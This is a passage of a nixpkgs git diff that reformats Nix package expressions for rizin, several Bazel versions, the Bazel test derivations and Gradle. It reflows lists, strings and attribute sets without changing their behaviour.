-    ++ lib.optionals enableCutterPlugin [
-      "-DBUILD_CUTTER_PLUGIN=ON"
-      "-DCUTTER_INSTALL_PLUGDIR=share/rizin/cutter/plugins/native"
-    ];
+  cmakeFlags = [
+    "-DUSE_SYSTEM_PUGIXML=ON"
+  ]
+  ++ lib.optionals enableCutterPlugin [
+    "-DBUILD_CUTTER_PLUGIN=ON"
+    "-DCUTTER_INSTALL_PLUGDIR=share/rizin/cutter/plugins/native"
+  ];
 
   meta = with lib; {
     # errors out with undefined symbols from Cutter
diff --git a/pkgs/development/tools/build-managers/bazel/bazel_5/default.nix b/pkgs/development/tools/build-managers/bazel/bazel_5/default.nix
index c78e571adad9..65d9697249f8 100644
--- a/pkgs/development/tools/build-managers/bazel/bazel_5/default.nix
+++ b/pkgs/development/tools/build-managers/bazel/bazel_5/default.nix
@@ -230,7 +230,8 @@ stdenv.mkDerivation rec {
     # disable suspend detection during a build inside Nix as this is
     # not available inside the darwin sandbox
     ./bazel_darwin_sandbox.patch
-  ] ++ lib.optional enableNixHacks ../nix-hacks.patch;
+  ]
+  ++ lib.optional enableNixHacks ../nix-hacks.patch;
 
   # Additional tests that check bazel’s functionality. Execute
   #
@@ -609,19 +610,18 @@ stdenv.mkDerivation rec {
 
   # when a command can’t be found in a bazel build, you might also
   # need to add it to `defaultShellPath`.
-  nativeBuildInputs =
-    [
-      installShellFiles
-      makeWrapper
-      python3
-      unzip
-      which
-      zip
-      python3.pkgs.absl-py # Needed to build fish completion
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      cctools
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeWrapper
+    python3
+    unzip
+    which
+    zip
+    python3.pkgs.absl-py # Needed to build fish completion
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    cctools
+  ];
 
   # Bazel makes extensive use of symlinks in the WORKSPACE.
   # This causes problems with infinite symlinks if the build output is in the same location as the
@@ -742,18 +742,17 @@ stdenv.mkDerivation rec {
 
   # Save paths to hardcoded dependencies so Nix can detect them.
   # This is needed because the templates get tar’d up into a .jar.
-  postFixup =
-    ''
-      mkdir -p $out/nix-support
-      echo "${defaultShellPath}" >> $out/nix-support/depends
-      # The string literal specifying the path to the bazel-rc file is sometimes
-      # stored non-contiguously in the binary due to gcc optimisations, which leads
-      # Nix to miss the hash when scanning for dependencies
-      echo "${bazelRC}" >> $out/nix-support/depends
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      echo "${cctools}" >> $out/nix-support/depends
-    '';
+  postFixup = ''
+    mkdir -p $out/nix-support
+    echo "${defaultShellPath}" >> $out/nix-support/depends
+    # The string literal specifying the path to the bazel-rc file is sometimes
+    # stored non-contiguously in the binary due to gcc optimisations, which leads
+    # Nix to miss the hash when scanning for dependencies
+    echo "${bazelRC}" >> $out/nix-support/depends
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    echo "${cctools}" >> $out/nix-support/depends
+  '';
 
   dontStrip = true;
   dontPatchELF = true;
diff --git a/pkgs/development/tools/build-managers/bazel/bazel_6/default.nix b/pkgs/development/tools/build-managers/bazel/bazel_6/default.nix
index 4232c7a98132..0f4d7e8f3529 100644
--- a/pkgs/development/tools/build-managers/bazel/bazel_6/default.nix
+++ b/pkgs/development/tools/build-managers/bazel/bazel_6/default.nix
@@ -292,7 +292,8 @@ stdenv.mkDerivation rec {
     (replaceVars ../bazel_rc.patch {
       bazelSystemBazelRCPath = bazelRC;
     })
-  ] ++ lib.optional enableNixHacks ./nix-hacks.patch;
+  ]
+  ++ lib.optional enableNixHacks ./nix-hacks.patch;
 
   # Additional tests that check bazel’s functionality. Execute
   #
@@ -673,24 +674,24 @@ stdenv.mkDerivation rec {
   buildInputs = [
     buildJdk
     bashWithDefaultShellUtils
-  ] ++ defaultShellUtils;
+  ]
+  ++ defaultShellUtils;
 
   # when a command can’t be found in a bazel build, you might also
   # need to add it to `defaultShellPath`.
-  nativeBuildInputs =
-    [
-      installShellFiles
-      makeWrapper
-      python3
-      unzip
-      which
-      zip
-      python3.pkgs.absl-py # Needed to build fish completion
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      cctools
-      sigtool
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeWrapper
+    python3
+    unzip
+    which
+    zip
+    python3.pkgs.absl-py # Needed to build fish completion
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    cctools
+    sigtool
+  ];
 
   # Bazel makes extensive use of symlinks in the WORKSPACE.
   # This causes problems with infinite symlinks if the build output is in the same location as the
@@ -703,85 +704,83 @@ stdenv.mkDerivation rec {
     shopt -s dotglob extglob
     mv !(bazel_src) bazel_src
   '';
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      # Increasing memory during compilation might be necessary.
-      # export BAZEL_JAVAC_OPTS="-J-Xmx2g -J-Xms200m"
+    # Increasing memory during compilation might be necessary.
+    # export BAZEL_JAVAC_OPTS="-J-Xmx2g -J-Xms200m"
 
-      # If EMBED_LABEL isn't set, it'd be auto-detected from CHANGELOG.md
-      # and `git rev-parse --short HEAD` which would result in
-      # "3.7.0- (@non-git)" due to non-git build and incomplete changelog.
-      # Actual bazel releases use scripts/release/common.sh which is based
-      # on branch/tag information which we don't have with tarball releases.
-      # Note that .bazelversion is always correct and is based on bazel-*
-      # executable name, version checks should work fine
-      export EMBED_LABEL="${version}- (@non-git)"
-      ${bash}/bin/bash ./bazel_src/compile.sh
-      ./bazel_src/scripts/generate_bash_completion.sh \
-          --bazel=./bazel_src/output/bazel \
-          --output=./bazel_src/output/bazel-complete.bash \
-          --prepend=./bazel_src/scripts/bazel-complete-header.bash \
-          --prepend=./bazel_src/scripts/bazel-complete-template.bash
-      ${python3}/bin/python3 ./bazel_src/scripts/generate_fish_completion.py \
-          --bazel=./bazel_src/output/bazel \
-          --output=./bazel_src/output/bazel-complete.fish
-    ''
-    +
-      # disable execlog parser on darwin, since it fails to build
-      # see https://github.com/NixOS/nixpkgs/pull/273774#issuecomment-1865322055
-      lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        # need to change directory for bazel to find the workspace
-        cd ./bazel_src
-        # build execlog tooling
-        export HOME=$(mktemp -d)
-        ./output/bazel build src/tools/execlog:parser_deploy.jar
-        cd -
+    # If EMBED_LABEL isn't set, it'd be auto-detected from CHANGELOG.md
+    # and `git rev-parse --short HEAD` which would result in
+    # "3.7.0- (@non-git)" due to non-git build and incomplete changelog.
+    # Actual bazel releases use scripts/release/common.sh which is based
+    # on branch/tag information which we don't have with tarball releases.
+    # Note that .bazelversion is always correct and is based on bazel-*
+    # executable name, version checks should work fine
+    export EMBED_LABEL="${version}- (@non-git)"
+    ${bash}/bin/bash ./bazel_src/compile.sh
+    ./bazel_src/scripts/generate_bash_completion.sh \
+        --bazel=./bazel_src/output/bazel \
+        --output=./bazel_src/output/bazel-complete.bash \
+        --prepend=./bazel_src/scripts/bazel-complete-header.bash \
+        --prepend=./bazel_src/scripts/bazel-complete-template.bash
+    ${python3}/bin/python3 ./bazel_src/scripts/generate_fish_completion.py \
+        --bazel=./bazel_src/output/bazel \
+        --output=./bazel_src/output/bazel-complete.fish
+  ''
+  +
+    # disable execlog parser on darwin, since it fails to build
+    # see https://github.com/NixOS/nixpkgs/pull/273774#issuecomment-1865322055
+    lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      # need to change directory for bazel to find the workspace
+      cd ./bazel_src
+      # build execlog tooling
+      export HOME=$(mktemp -d)
+      ./output/bazel build src/tools/execlog:parser_deploy.jar
+      cd -
 
-        runHook postBuild
-      '';
-
-  installPhase =
-    ''
-      runHook preInstall
-
-      mkdir -p $out/bin
-
-      # official wrapper scripts that searches for $WORKSPACE_ROOT/tools/bazel
-      # if it can’t find something in tools, it calls $out/bin/bazel-{version}-{os_arch}
-      # The binary _must_ exist with this naming if your project contains a .bazelversion
-      # file.
-      cp ./bazel_src/scripts/packages/bazel.sh $out/bin/bazel
-      wrapProgram $out/bin/bazel $wrapperfile --suffix PATH : ${defaultShellPath}
-      mv ./bazel_src/output/bazel $out/bin/bazel-${version}-${system}-${arch}
-
-    ''
-    +
-      # disable execlog parser on darwin, since it fails to build
-      # see https://github.com/NixOS/nixpkgs/pull/273774#issuecomment-1865322055
-      (lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        mkdir $out/share
-        cp ./bazel_src/bazel-bin/src/tools/execlog/parser_deploy.jar $out/share/parser_deploy.jar
-        cat <<EOF > $out/bin/bazel-execlog
-        #!${runtimeShell} -e
-        ${runJdk}/bin/java -jar $out/share/parser_deploy.jar \$@
-        EOF
-        chmod +x $out/bin/bazel-execlog
-      '')
-    + ''
-      # shell completion files
-      installShellCompletion --bash \
-        --name bazel.bash \
-        ./bazel_src/output/bazel-complete.bash
-      installShellCompletion --zsh \
-        --name _bazel \
-        ./bazel_src/scripts/zsh_completion/_bazel
-      installShellCompletion --fish \
-        --name bazel.fish \
-        ./bazel_src/output/bazel-complete.fish
+      runHook postBuild
     '';
 
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/bin
+
+    # official wrapper scripts that searches for $WORKSPACE_ROOT/tools/bazel
+    # if it can’t find something in tools, it calls $out/bin/bazel-{version}-{os_arch}
+    # The binary _must_ exist with this naming if your project contains a .bazelversion
+    # file.
+    cp ./bazel_src/scripts/packages/bazel.sh $out/bin/bazel
+    wrapProgram $out/bin/bazel $wrapperfile --suffix PATH : ${defaultShellPath}
+    mv ./bazel_src/output/bazel $out/bin/bazel-${version}-${system}-${arch}
+
+  ''
+  +
+    # disable execlog parser on darwin, since it fails to build
+    # see https://github.com/NixOS/nixpkgs/pull/273774#issuecomment-1865322055
+    (lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      mkdir $out/share
+      cp ./bazel_src/bazel-bin/src/tools/execlog/parser_deploy.jar $out/share/parser_deploy.jar
+      cat <<EOF > $out/bin/bazel-execlog
+      #!${runtimeShell} -e
+      ${runJdk}/bin/java -jar $out/share/parser_deploy.jar \$@
+      EOF
+      chmod +x $out/bin/bazel-execlog
+    '')
+  + ''
+    # shell completion files
+    installShellCompletion --bash \
+      --name bazel.bash \
+      ./bazel_src/output/bazel-complete.bash
+    installShellCompletion --zsh \
+      --name _bazel \
+      ./bazel_src/scripts/zsh_completion/_bazel
+    installShellCompletion --fish \
+      --name bazel.fish \
+      ./bazel_src/output/bazel-complete.fish
+  '';
+
   # Install check fails on `aarch64-darwin`
   # https://github.com/NixOS/nixpkgs/issues/145587
   doInstallCheck = stdenv.hostPlatform.system != "aarch64-darwin";
@@ -835,18 +834,17 @@ stdenv.mkDerivation rec {
 
   # Save paths to hardcoded dependencies so Nix can detect them.
   # This is needed because the templates get tar’d up into a .jar.
-  postFixup =
-    ''
-      mkdir -p $out/nix-support
-      echo "${defaultShellPath}" >> $out/nix-support/depends
-      # The string literal specifying the path to the bazel-rc file is sometimes
-      # stored non-contiguously in the binary due to gcc optimisations, which leads
-      # Nix to miss the hash when scanning for dependencies
-      echo "${bazelRC}" >> $out/nix-support/depends
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      echo "${cctools}" >> $out/nix-support/depends
-    '';
+  postFixup = ''
+    mkdir -p $out/nix-support
+    echo "${defaultShellPath}" >> $out/nix-support/depends
+    # The string literal specifying the path to the bazel-rc file is sometimes
+    # stored non-contiguously in the binary due to gcc optimisations, which leads
+    # Nix to miss the hash when scanning for dependencies
+    echo "${bazelRC}" >> $out/nix-support/depends
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    echo "${cctools}" >> $out/nix-support/depends
+  '';
 
   dontStrip = true;
   dontPatchELF = true;
diff --git a/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix b/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix
index 7a5b4a6a2bb8..4085327fc071 100644
--- a/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix
+++ b/pkgs/development/tools/build-managers/bazel/bazel_7/default.nix
@@ -130,7 +130,8 @@ let
     nativeBuildInputs = defaultShellUtils;
     buildInputs = [
       stdenv.cc.cc
-    ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
+    ]
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
 
     dontUnpack = true;
     dontPatch = true;
@@ -186,7 +187,8 @@ let
         unzip
         runJdk
         bazelForDeps
-      ] ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool;
+      ]
+      ++ lib.optional (stdenv.hostPlatform.isDarwin) libtool;
       configurePhase = ''
         runHook preConfigure
 
@@ -308,86 +310,85 @@ stdenv.mkDerivation rec {
   inherit version src;
   inherit sourceRoot;
 
-  patches =
-    [
-      # Remote java toolchains do not work on NixOS because they download binaries,
-      # so we need to use the @local_jdk//:jdk
-      # It could in theory be done by registering @local_jdk//:all toolchains,
-      # but these java toolchains still bundle binaries for ijar and stuff. So we
-      # need a nonprebult java toolchain (where ijar and stuff is built from
-      # sources).
-      # There is no such java toolchain, so we introduce one here.
-      # By providing no version information, the toolchain will set itself to the
-      # version of $JAVA_HOME/bin/java, just like the local_jdk does.
-      # To ensure this toolchain gets used, we can set
-      # --{,tool_}java_runtime_version=local_jdk and rely on the fact no java
-      # toolchain registered by default uses the local_jdk, making the selection
-      # unambiguous.
-      # This toolchain has the advantage that it can use any ambiant java jdk,
-      # not only a given, fixed version. It allows bazel to work correctly in any
-      # environment where JAVA_HOME is set to the right java version, like inside
-      # nix derivations.
-      # However, this patch breaks bazel hermeticity, by picking the ambiant java
-      # version instead of the more hermetic remote_jdk prebuilt binaries that
-      # rules_java provide by default. It also requires the user to have a
-      # JAVA_HOME set to the exact version required by the project.
-      # With more code, we could define java toolchains for all the java versions
-      # supported by the jdk as in rules_java's
-      # toolchains/local_java_repository.bzl, but this is not implemented here.
-      # To recover vanilla behavior, non NixOS users can set
-      # --{,tool_}java_runtime_version=remote_jdk, effectively reverting the
-      # effect of this patch and the fake system bazelrc.
-      ./java_toolchain.patch
+  patches = [
+    # Remote java toolchains do not work on NixOS because they download binaries,
+    # so we need to use the @local_jdk//:jdk
+    # It could in theory be done by registering @local_jdk//:all toolchains,
+    # but these java toolchains still bundle binaries for ijar and stuff. So we
+    # need a nonprebult java toolchain (where ijar and stuff is built from
+    # sources).
+    # There is no such java toolchain, so we introduce one here.
+    # By providing no version information, the toolchain will set itself to the
+    # version of $JAVA_HOME/bin/java, just like the local_jdk does.
+    # To ensure this toolchain gets used, we can set
+    # --{,tool_}java_runtime_version=local_jdk and rely on the fact no java
+    # toolchain registered by default uses the local_jdk, making the selection
+    # unambiguous.
+    # This toolchain has the advantage that it can use any ambiant java jdk,
+    # not only a given, fixed version. It allows bazel to work correctly in any
+    # environment where JAVA_HOME is set to the right java version, like inside
+    # nix derivations.
+    # However, this patch breaks bazel hermeticity, by picking the ambiant java
+    # version instead of the more hermetic remote_jdk prebuilt binaries that
+    # rules_java provide by default. It also requires the user to have a
+    # JAVA_HOME set to the exact version required by the project.
+    # With more code, we could define java toolchains for all the java versions
+    # supported by the jdk as in rules_java's
+    # toolchains/local_java_repository.bzl, but this is not implemented here.
+    # To recover vanilla behavior, non NixOS users can set
+    # --{,tool_}java_runtime_version=remote_jdk, effectively reverting the
+    # effect of this patch and the fake system bazelrc.
+    ./java_toolchain.patch
 
-      # Bazel integrates with apple IOKit to inhibit and track system sleep.
-      # Inside the darwin sandbox, these API calls are blocked, and bazel
-      # crashes. It seems possible to allow these APIs inside the sandbox, but it
-      # feels simpler to patch bazel not to use it at all. So our bazel is
-      # incapable of preventing system sleep, which is a small price to pay to
-      # guarantee that it will always run in any nix context.
-      #
-      # See also ./bazel_darwin_sandbox.patch in bazel_5. That patch uses
-      # NIX_BUILD_TOP env var to conditionnally disable sleep features inside the
-      # sandbox.
-      #
-      # If you want to investigate the sandbox profile path,
-      # IORegisterForSystemPower can be allowed with
-      #
-      #     propagatedSandboxProfile = ''
-      #       (allow iokit-open (iokit-user-client-class "RootDomainUserClient"))
-      #     '';
-      #
-      # I do not know yet how to allow IOPMAssertion{CreateWithName,Release}
-      ./darwin_sleep.patch
+    # Bazel integrates with apple IOKit to inhibit and track system sleep.
+    # Inside the darwin sandbox, these API calls are blocked, and bazel
+    # crashes. It seems possible to allow these APIs inside the sandbox, but it
+    # feels simpler to patch bazel not to use it at all. So our bazel is
+    # incapable of preventing system sleep, which is a small price to pay to
+    # guarantee that it will always run in any nix context.
+    #
+    # See also ./bazel_darwin_sandbox.patch in bazel_5. That patch uses
+    # NIX_BUILD_TOP env var to conditionnally disable sleep features inside the
+    # sandbox.
+    #
+    # If you want to investigate the sandbox profile path,
+    # IORegisterForSystemPower can be allowed with
+    #
+    #     propagatedSandboxProfile = ''
+    #       (allow iokit-open (iokit-user-client-class "RootDomainUserClient"))
+    #     '';
+    #
+    # I do not know yet how to allow IOPMAssertion{CreateWithName,Release}
+    ./darwin_sleep.patch
 
-      # Fix DARWIN_XCODE_LOCATOR_COMPILE_COMMAND by removing multi-arch support.
-      # Nixpkgs toolcahins do not support that (yet?) and get confused.
-      # Also add an explicit /usr/bin prefix that will be patched below.
-      ./xcode_locator.patch
+    # Fix DARWIN_XCODE_LOCATOR_COMPILE_COMMAND by removing multi-arch support.
+    # Nixpkgs toolcahins do not support that (yet?) and get confused.
+    # Also add an explicit /usr/bin prefix that will be patched below.
+    ./xcode_locator.patch
 
-      # On Darwin, the last argument to gcc is coming up as an empty string. i.e: ''
-      # This is breaking the build of any C target. This patch removes the last
-      # argument if it's found to be an empty string.
-      ../trim-last-argument-to-gcc-if-empty.patch
+    # On Darwin, the last argument to gcc is coming up as an empty string. i.e: ''
+    # This is breaking the build of any C target. This patch removes the last
+    # argument if it's found to be an empty string.
+    ../trim-last-argument-to-gcc-if-empty.patch
 
-      # --experimental_strict_action_env (which may one day become the default
-      # see bazelbuild/bazel#2574) hardcodes the default
-      # action environment to a non hermetic value (e.g. "/usr/local/bin").
-      # This is non hermetic on non-nixos systems. On NixOS, bazel cannot find the required binaries.
-      # So we are replacing this bazel paths by defaultShellPath,
-      # improving hermeticity and making it work in nixos.
-      (replaceVars ../strict_action_env.patch {
-        strictActionEnvPatch = defaultShellPath;
-      })
+    # --experimental_strict_action_env (which may one day become the default
+    # see bazelbuild/bazel#2574) hardcodes the default
+    # action environment to a non hermetic value (e.g. "/usr/local/bin").
+    # This is non hermetic on non-nixos systems. On NixOS, bazel cannot find the required binaries.
+    # So we are replacing this bazel paths by defaultShellPath,
+    # improving hermeticity and making it work in nixos.
+    (replaceVars ../strict_action_env.patch {
+      strictActionEnvPatch = defaultShellPath;
+    })
 
-      # bazel reads its system bazelrc in /etc
-      # override this path to a builtin one
-      (replaceVars ../bazel_rc.patch {
-        bazelSystemBazelRCPath = bazelRC;
-      })
-    ]
-    # See enableNixHacks argument above.
-    ++ lib.optional enableNixHacks ./nix-build-bazel-package-hacks.patch;
+    # bazel reads its system bazelrc in /etc
+    # override this path to a builtin one
+    (replaceVars ../bazel_rc.patch {
+      bazelSystemBazelRCPath = bazelRC;
+    })
+  ]
+  # See enableNixHacks argument above.
+  ++ lib.optional enableNixHacks ./nix-build-bazel-package-hacks.patch;
 
   postPatch =
     let
@@ -537,23 +538,23 @@ stdenv.mkDerivation rec {
   buildInputs = [
     buildJdk
     bashWithDefaultShellUtils
-  ] ++ defaultShellUtils;
+  ]
+  ++ defaultShellUtils;
 
   # when a command can’t be found in a bazel build, you might also
   # need to add it to `defaultShellPath`.
-  nativeBuildInputs =
-    [
-      installShellFiles
-      makeWrapper
-      python3
-      unzip
-      which
-      zip
-      python3.pkgs.absl-py # Needed to build fish completion
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      cctools
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeWrapper
+    python3
+    unzip
+    which
+    zip
+    python3.pkgs.absl-py # Needed to build fish completion
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    cctools
+  ];
 
   # Bazel makes extensive use of symlinks in the WORKSPACE.
   # This causes problems with infinite symlinks if the build output is in the same location as the
@@ -687,18 +688,17 @@ stdenv.mkDerivation rec {
 
   # Save paths to hardcoded dependencies so Nix can detect them.
   # This is needed because the templates get tar’d up into a .jar.
-  postFixup =
-    ''
-      mkdir -p $out/nix-support
-      echo "${defaultShellPath}" >> $out/nix-support/depends
-      # The string literal specifying the path to the bazel-rc file is sometimes
-      # stored non-contiguously in the binary due to gcc optimisations, which leads
-      # Nix to miss the hash when scanning for dependencies
-      echo "${bazelRC}" >> $out/nix-support/depends
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      echo "${cctools}" >> $out/nix-support/depends
-    '';
+  postFixup = ''
+    mkdir -p $out/nix-support
+    echo "${defaultShellPath}" >> $out/nix-support/depends
+    # The string literal specifying the path to the bazel-rc file is sometimes
+    # stored non-contiguously in the binary due to gcc optimisations, which leads
+    # Nix to miss the hash when scanning for dependencies
+    echo "${bazelRC}" >> $out/nix-support/depends
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    echo "${cctools}" >> $out/nix-support/depends
+  '';
 
   dontStrip = true;
   dontPatchELF = true;
diff --git a/pkgs/development/tools/build-managers/bazel/cpp-test.nix b/pkgs/development/tools/build-managers/bazel/cpp-test.nix
index e5ad6bc2a41c..6581331c7697 100644
--- a/pkgs/development/tools/build-managers/bazel/cpp-test.nix
+++ b/pkgs/development/tools/build-managers/bazel/cpp-test.nix
@@ -45,18 +45,17 @@ let
     name = "${bazel.pname}-test-cpp";
     inherit workspaceDir;
     bazelPkg = bazel;
-    bazelScript =
-      ''
-        ${bazel}/bin/bazel build //... \
-          --verbose_failures \
-          --distdir=${distDir} \
-          --curses=no \
-          ${extraBazelArgs} \
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-        --cxxopt=-x --cxxopt=c++ --host_cxxopt=-x --host_cxxopt=c++ \
-        --linkopt=-stdlib=libc++ --host_linkopt=-stdlib=libc++ \
-      '';
+    bazelScript = ''
+      ${bazel}/bin/bazel build //... \
+        --verbose_failures \
+        --distdir=${distDir} \
+        --curses=no \
+        ${extraBazelArgs} \
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+      --cxxopt=-x --cxxopt=c++ --host_cxxopt=-x --host_cxxopt=c++ \
+      --linkopt=-stdlib=libc++ --host_linkopt=-stdlib=libc++ \
+    '';
   };
 
 in
diff --git a/pkgs/development/tools/build-managers/bazel/java-test.nix b/pkgs/development/tools/build-managers/bazel/java-test.nix
index c17e34cb60cd..c3d94a7fd8e2 100644
--- a/pkgs/development/tools/build-managers/bazel/java-test.nix
+++ b/pkgs/development/tools/build-managers/bazel/java-test.nix
@@ -50,24 +50,23 @@ let
     buildInputs = [
       (if lib.strings.versionOlder bazel.version "5.0.0" then openjdk8 else jdk11_headless)
     ];
-    bazelScript =
-      ''
-        ${bazel}/bin/bazel \
-          run \
-          --announce_rc \
-          ${lib.optionalString (lib.strings.versionOlder "5.0.0" bazel.version) "--toolchain_resolution_debug='@bazel_tools//tools/jdk:(runtime_)?toolchain_type'"} \
-          --distdir=${distDir} \
-          --verbose_failures \
-          --curses=no \
-          --strict_java_deps=off \
-          //:ProjectRunner \
-      ''
-      + lib.optionalString (lib.strings.versionOlder bazel.version "5.0.0") ''
-        --host_javabase='@local_jdk//:jdk' \
-        --java_toolchain='@bazel_tools//tools/jdk:toolchain_hostjdk8' \
-        --javabase='@local_jdk//:jdk' \
-      ''
-      + extraBazelArgs;
+    bazelScript = ''
+      ${bazel}/bin/bazel \
+        run \
+        --announce_rc \
+        ${lib.optionalString (lib.strings.versionOlder "5.0.0" bazel.version) "--toolchain_resolution_debug='@bazel_tools//tools/jdk:(runtime_)?toolchain_type'"} \
+        --distdir=${distDir} \
+        --verbose_failures \
+        --curses=no \
+        --strict_java_deps=off \
+        //:ProjectRunner \
+    ''
+    + lib.optionalString (lib.strings.versionOlder bazel.version "5.0.0") ''
+      --host_javabase='@local_jdk//:jdk' \
+      --java_toolchain='@bazel_tools//tools/jdk:toolchain_hostjdk8' \
+      --javabase='@local_jdk//:jdk' \
+    ''
+    + extraBazelArgs;
   };
 
 in
diff --git a/pkgs/development/tools/build-managers/bazel/protobuf-test.nix b/pkgs/development/tools/build-managers/bazel/protobuf-test.nix
index 0522c9172eca..0cbcf2dae2aa 100644
--- a/pkgs/development/tools/build-managers/bazel/protobuf-test.nix
+++ b/pkgs/development/tools/build-managers/bazel/protobuf-test.nix
@@ -168,27 +168,26 @@ let
     buildInputs = [
       (if lib.strings.versionOlder bazel.version "5.0.0" then openjdk8 else jdk11_headless)
     ];
-    bazelScript =
-      ''
-        ${bazel}/bin/bazel \
-          build \
-          --distdir=${distDir} \
-          --verbose_failures \
-          --curses=no \
-          --subcommands \
-          --strict_java_deps=off \
-          --strict_proto_deps=off \
-          //... \
-      ''
-      + lib.optionalString (lib.strings.versionOlder bazel.version "5.0.0") ''
-        --host_javabase='@local_jdk//:jdk' \
-        --java_toolchain='@bazel_tools//tools/jdk:toolchain_hostjdk8' \
-        --javabase='@local_jdk//:jdk' \
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-        --cxxopt=-x --cxxopt=c++ --host_cxxopt=-x --host_cxxopt=c++ \
-        --linkopt=-stdlib=libc++ --host_linkopt=-stdlib=libc++ \
-      '';
+    bazelScript = ''
+      ${bazel}/bin/bazel \
+        build \
+        --distdir=${distDir} \
+        --verbose_failures \
+        --curses=no \
+        --subcommands \
+        --strict_java_deps=off \
+        --strict_proto_deps=off \
+        //... \
+    ''
+    + lib.optionalString (lib.strings.versionOlder bazel.version "5.0.0") ''
+      --host_javabase='@local_jdk//:jdk' \
+      --java_toolchain='@bazel_tools//tools/jdk:toolchain_hostjdk8' \
+      --javabase='@local_jdk//:jdk' \
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+      --cxxopt=-x --cxxopt=c++ --host_cxxopt=-x --host_cxxopt=c++ \
+      --linkopt=-stdlib=libc++ --host_linkopt=-stdlib=libc++ \
+    '';
   };
 
 in
diff --git a/pkgs/development/tools/build-managers/gradle/default.nix b/pkgs/development/tools/build-managers/gradle/default.nix
index 7a256239768c..479f6afa75a4 100644
--- a/pkgs/development/tools/build-managers/gradle/default.nix
+++ b/pkgs/development/tools/build-managers/gradle/default.nix
@@ -70,14 +70,13 @@ rec {
 
       dontBuild = true;
 
-      nativeBuildInputs =
-        [
-          makeWrapper
-          unzip
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          autoPatchelfHook
-        ];
+      nativeBuildInputs = [
+        makeWrapper
+        unzip
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        autoPatchelfHook
+      ];
 
       buildInputs = [
         stdenv.cc.cc
@@ -274,54 +273,54 @@ rec {
           mitm-cache
         ];
 
-        passthru =
-          {
-            fetchDeps = callPackage ./fetch-deps.nix { inherit mitm-cache; };
-            inherit (gradle) jdk;
-            unwrapped = gradle;
-            tests = {
-              toolchains =
-                let
-                  javaVersion = lib.getVersion jdk23;
-                  javaMajorVersion = lib.versions.major javaVersion;
-                in
-                runCommand "detects-toolchains-from-nix-env"
-                  {
-                    # Use JDKs that are not the default for any of the gradle versions
-                    nativeBuildInputs = [
-                      (gradle.override {
-                        javaToolchains = [
-                          jdk23
-                        ];
-                      })
-                    ];
-                    src = ./tests/toolchains;
-                  }
-                  ''
-                    cp -a $src/* .
-                    substituteInPlace ./build.gradle --replace-fail '@JAVA_VERSION@' '${javaMajorVersion}'
-                    env GRADLE_USER_HOME=$TMPDIR/gradle org.gradle.native.dir=$TMPDIR/native \
-                    gradle run --no-daemon --quiet --console plain > $out
-                    actual="$(<$out)"
-                    if [[ "${javaVersion}" != "$actual"* ]]; then
-                      echo "Error: Expected '${javaVersion}', to start with '$actual'" >&2
-                      exit 1
-                    fi
-                  '';
-            } // gradle.tests;
+        passthru = {
+          fetchDeps = callPackage ./fetch-deps.nix { inherit mitm-cache; };
+          inherit (gradle) jdk;
+          unwrapped = gradle;
+          tests = {
+            toolchains =
+              let
+                javaVersion = lib.getVersion jdk23;
+                javaMajorVersion = lib.versions.major javaVersion;
+              in
+              runCommand "detects-toolchains-from-nix-env"
+                {
+                  # Use JDKs that are not the default for any of the gradle versions
+                  nativeBuildInputs = [
+                    (gradle.override {
+                      javaToolchains = [
+                        jdk23
+                      ];
+                    })
+                  ];
+                  src = ./tests/toolchains;
+                }
+                ''
+                  cp -a $src/* .
+                  substituteInPlace ./build.gradle --replace-fail '@JAVA_VERSION@' '${javaMajorVersion}'
+                  env GRADLE_USER_HOME=$TMPDIR/gradle org.gradle.native.dir=$TMPDIR/native \
+                  gradle run --no-daemon --quiet --console plain > $out
+                  actual="$(<$out)"
+                  if [[ "${javaVersion}" != "$actual"* ]]; then
+                    echo "Error: Expected '${javaVersion}', to start with '$actual'" >&2
+                    exit 1
+                  fi
+                '';
           }
-          // lib.optionalAttrs (updateAttrPath != null) {
-            updateScript = nix-update-script {
-              attrPath = updateAttrPath;
-              extraArgs = [
-                "--url=https://github.com/gradle/gradle"
-                # Gradle’s .0 releases are tagged as `vX.Y.0`, but the actual
-                # release version omits the `.0`, so we’ll wanto to only capture
-                # the version up but not including the the trailing `.0`.
-                "--version-regex=^v(\\d+\\.\\d+(?:\\.[1-9]\\d?)?)(\\.0)?$"
-              ];
-            };
+          // gradle.tests;
+        }
+        // lib.optionalAttrs (updateAttrPath != null) {
+          updateScript = nix-update-script {
+            attrPath = updateAttrPath;
